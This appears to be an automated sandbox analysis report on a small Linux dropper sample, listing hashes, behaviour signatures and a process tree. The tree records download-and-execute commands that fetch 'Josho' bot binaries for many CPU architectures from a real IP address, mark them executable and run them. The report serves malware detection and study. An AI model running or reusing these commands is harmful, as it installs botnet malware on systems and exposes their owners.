Overview

overview

7

Static

static

1

de3e2cf7f8...kes118

ubuntu-18.04-amd64

7

de3e2cf7f8...kes118

debian-9-armhf

7

de3e2cf7f8...kes118

debian-9-mips

7

de3e2cf7f8...kes118

debian-9-mipsel

7

Analysis

  • max time kernel
    8s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13/09/2024, 11:16

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General

  • Target

    de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118

  • Size

    1KB

  • MD5

    de3e2cf7f8a3491108171cbe6f33e896

  • SHA1

    a7b8e9692bf917a3d4326f3e8d8715c5ec8e176b

  • SHA256

    36da4f856399f3201468a8f6b6ffe07f0d5295a41ca68bf62f3b04293aa65f44

  • SHA512

    0e78441eed1821e2f4c585e4366054e7706ba7a1fda6d51529cab1dbc446c1fbd1618f27846a5bb278b3906ecd14f6cde032f83ff484ece2b85a98bb130ee240

Score
7/10
defense_evasion

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 10 IoCs
  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118
    /tmp/de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118
    1⤵
    • Writes file to tmp directory
    PID:1464
    • /usr/bin/wget
      wget http://165.227.147.27/AB4g5/Josho.x86
      2⤵
        PID:1465
      • /usr/bin/curl
        curl -O http://165.227.147.27/AB4g5/Josho.x86
        2⤵
        • Writes file to tmp directory
        PID:1470
      • /bin/cat
        cat Josho.x86
        2⤵
          PID:1479
        • /bin/chmod
          chmod +x 3AvA config-err-d1U8bY de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118 Josho.x86 netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-5m29kT
          2⤵
          • File and Directory Permissions Modification
          PID:1480
        • /tmp/3AvA
          ./3AvA ssh
          2⤵
          • Executes dropped EXE
          PID:1481
        • /usr/bin/wget
          wget http://165.227.147.27/AB4g5/Josho.mips
          2⤵
            PID:1482
          • /usr/bin/curl
            curl -O http://165.227.147.27/AB4g5/Josho.mips
            2⤵
            • Writes file to tmp directory
            PID:1483
          • /bin/cat
            cat Josho.mips
            2⤵
              PID:1484
            • /bin/chmod
              chmod +x 3AvA config-err-d1U8bY de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118 Josho.mips Josho.x86 netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-5m29kT
              2⤵
              • File and Directory Permissions Modification
              PID:1485
            • /tmp/3AvA
              ./3AvA ssh
              2⤵
              • Executes dropped EXE
              PID:1486
            • /usr/bin/wget
              wget http://165.227.147.27/AB4g5/Josho.mpsl
              2⤵
                PID:1487
              • /usr/bin/curl
                curl -O http://165.227.147.27/AB4g5/Josho.mpsl
                2⤵
                • Writes file to tmp directory
                PID:1488
              • /bin/cat
                cat Josho.mpsl
                2⤵
                  PID:1489
                • /bin/chmod
                  chmod +x 3AvA config-err-d1U8bY de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118 Josho.mips Josho.mpsl Josho.x86 netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-5m29kT
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1490
                • /tmp/3AvA
                  ./3AvA ssh
                  2⤵
                  • Executes dropped EXE
                  PID:1491
                • /usr/bin/wget
                  wget http://165.227.147.27/AB4g5/Josho.arm4
                  2⤵
                    PID:1492
                  • /usr/bin/curl
                    curl -O http://165.227.147.27/AB4g5/Josho.arm4
                    2⤵
                    • Writes file to tmp directory
                    PID:1501
                  • /bin/cat
                    cat Josho.arm4
                    2⤵
                      PID:1502
                    • /bin/chmod
                      chmod +x 3AvA config-err-d1U8bY de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118 Josho.arm4 Josho.mips Josho.mpsl Josho.x86 netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-5m29kT
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1503
                    • /tmp/3AvA
                      ./3AvA ssh
                      2⤵
                      • Executes dropped EXE
                      PID:1504
                    • /usr/bin/wget
                      wget http://165.227.147.27/AB4g5/Josho.arm5
                      2⤵
                        PID:1505
                      • /usr/bin/curl
                        curl -O http://165.227.147.27/AB4g5/Josho.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:1506
                      • /bin/cat
                        cat Josho.arm5
                        2⤵
                          PID:1507
                        • /bin/chmod
                          chmod +x 3AvA config-err-d1U8bY de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118 Josho.arm4 Josho.arm5 Josho.mips Josho.mpsl Josho.x86 netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-5m29kT
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1508
                        • /tmp/3AvA
                          ./3AvA ssh
                          2⤵
                          • Executes dropped EXE
                          PID:1509
                        • /usr/bin/wget
                          wget http://165.227.147.27/AB4g5/Josho.arm6
                          2⤵
                            PID:1510
                          • /usr/bin/curl
                            curl -O http://165.227.147.27/AB4g5/Josho.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:1511
                          • /bin/cat
                            cat Josho.arm6
                            2⤵
                              PID:1512
                            • /bin/chmod
                              chmod +x 3AvA config-err-d1U8bY de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118 Josho.arm4 Josho.arm5 Josho.arm6 Josho.mips Josho.mpsl Josho.x86 netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-5m29kT
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1513
                            • /tmp/3AvA
                              ./3AvA ssh
                              2⤵
                              • Executes dropped EXE
                              PID:1514
                            • /usr/bin/wget
                              wget http://165.227.147.27/AB4g5/Josho.arm7
                              2⤵
                                PID:1515
                              • /usr/bin/curl
                                curl -O http://165.227.147.27/AB4g5/Josho.arm7
                                2⤵
                                • Writes file to tmp directory
                                PID:1516
                              • /bin/cat
                                cat Josho.arm7
                                2⤵
                                  PID:1517
                                • /bin/chmod
                                  chmod +x 3AvA config-err-d1U8bY de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118 Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.mips Josho.mpsl Josho.x86 netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-5m29kT
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1518
                                • /tmp/3AvA
                                  ./3AvA ssh
                                  2⤵
                                  • Executes dropped EXE
                                  PID:1519
                                • /usr/bin/wget
                                  wget http://165.227.147.27/AB4g5/Josho.ppc
                                  2⤵
                                    PID:1520
                                  • /usr/bin/curl
                                    curl -O http://165.227.147.27/AB4g5/Josho.ppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1521
                                  • /bin/cat
                                    cat Josho.ppc
                                    2⤵
                                      PID:1522
                                    • /bin/chmod
                                      chmod +x 3AvA config-err-d1U8bY de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118 Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.mips Josho.mpsl Josho.ppc Josho.x86 netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-5m29kT
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1523
                                    • /tmp/3AvA
                                      ./3AvA ssh
                                      2⤵
                                      • Executes dropped EXE
                                      PID:1524
                                    • /usr/bin/wget
                                      wget http://165.227.147.27/AB4g5/Josho.m68k
                                      2⤵
                                        PID:1525
                                      • /usr/bin/curl
                                        curl -O http://165.227.147.27/AB4g5/Josho.m68k
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1526
                                      • /bin/cat
                                        cat Josho.m68k
                                        2⤵
                                          PID:1527
                                        • /bin/chmod
                                          chmod +x 3AvA config-err-d1U8bY de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118 Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.m68k Josho.mips Josho.mpsl Josho.ppc Josho.x86 netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-5m29kT
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1528
                                        • /tmp/3AvA
                                          ./3AvA ssh
                                          2⤵
                                          • Executes dropped EXE
                                          PID:1529
                                        • /usr/bin/wget
                                          wget http://165.227.147.27/AB4g5/Josho.sh4
                                          2⤵
                                            PID:1530
                                          • /usr/bin/curl
                                            curl -O http://165.227.147.27/AB4g5/Josho.sh4
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1531
                                          • /bin/cat
                                            cat Josho.sh4
                                            2⤵
                                              PID:1532
                                            • /bin/chmod
                                              chmod +x 3AvA config-err-d1U8bY de3e2cf7f8a3491108171cbe6f33e896_JaffaCakes118 Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.m68k Josho.mips Josho.mpsl Josho.ppc Josho.sh4 Josho.x86 netplan_q4owmhud snap-private-tmp ssh-7YtxyD3VLmUW systemd-private-5ec902bda5ef4de78002cd739cd7d80b-bolt.service-9uwbcQ systemd-private-5ec902bda5ef4de78002cd739cd7d80b-colord.service-zDaCdX systemd-private-5ec902bda5ef4de78002cd739cd7d80b-ModemManager.service-5IRDgC systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-resolved.service-j1HE9Z systemd-private-5ec902bda5ef4de78002cd739cd7d80b-systemd-timedated.service-5m29kT
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1533
                                            • /tmp/3AvA
                                              ./3AvA ssh
                                              2⤵
                                              • Executes dropped EXE
                                              PID:1534

                                          Network

                                          MITRE ATT&CK Enterprise v15

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                                          Downloads

                                          • /tmp/Josho.x86
                                            Filesize

                                            41KB

                                            MD5

                                            1d344d0d8a1813ae6508f43f320adf23

                                            SHA1

                                            8d598c15c307343145e1d6baea1744ffb21a0d6e

                                            SHA256

                                            47d4acdf1b81acbd6ac4dde3cb43fa7ccf453ee9f85b9a21e31883861df2505d

                                            SHA512

                                            94e6ea92b9f98919bcb7ac81e161cd417b0b3fb0500e45f3a6b064a7107ae6e8b889b9478f4745557fe0242e3f5b4284a61557d6e76fef424886ebc1e5cd282f

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